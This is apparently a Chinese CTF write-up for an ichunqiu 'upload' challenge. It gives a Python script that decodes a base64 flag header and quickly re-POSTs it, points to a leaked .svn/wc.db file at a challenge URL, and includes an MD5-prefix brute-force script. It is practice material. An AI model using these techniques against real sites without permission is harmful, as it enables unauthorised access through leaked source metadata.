upload+phone number

1.upload

需要post一个ichunqiu变量

burp抓包后可以看到

flag是一个经过base64加密的字符串，解密后

下面的字符串可以再经过一次base64

942756

post ichunqiu=942756

提示post的不够快，因此上py脚本跑一下。

import base64
import requests

def main():
    a = requests.session()
    b = a.get("http://815ec4ba331943b8a1b5531b881c861b21bee458310d4d84.changame.ichunqiu.com/")
    key1 = b.headers["flag"]
    c = base64.b64decode(key1)
    d = str(c).split(":")
    key = base64.b64decode(d[1])
    body = {"ichunqiu":key}
    f = a.post("http://815ec4ba331943b8a1b5531b881c861b21bee458310d4d84.changame.ichunqiu.com/",data=body)
    print f.text
if __name__ == '__main__':
    main()

访问一下这个链接

打开之后是一个登陆页面。

这里有一个源码泄露

扫描到了

http://1215e66accc54aceaacdf4132d1f714b6e806425623844ed.game.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/.svn/wc.db

将字符串md5解一下得到username

得到username=8638d5263ab0d3face193725c23ce095

这里需要爆破一个字符串 md5加密后前6位是db822a

import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
    for i in range(1,99999999):
        if(md5(i)[0:6]) == str(s):
            print (i)
            exit(0)
if __name__ == '__main__':
    main("db822a")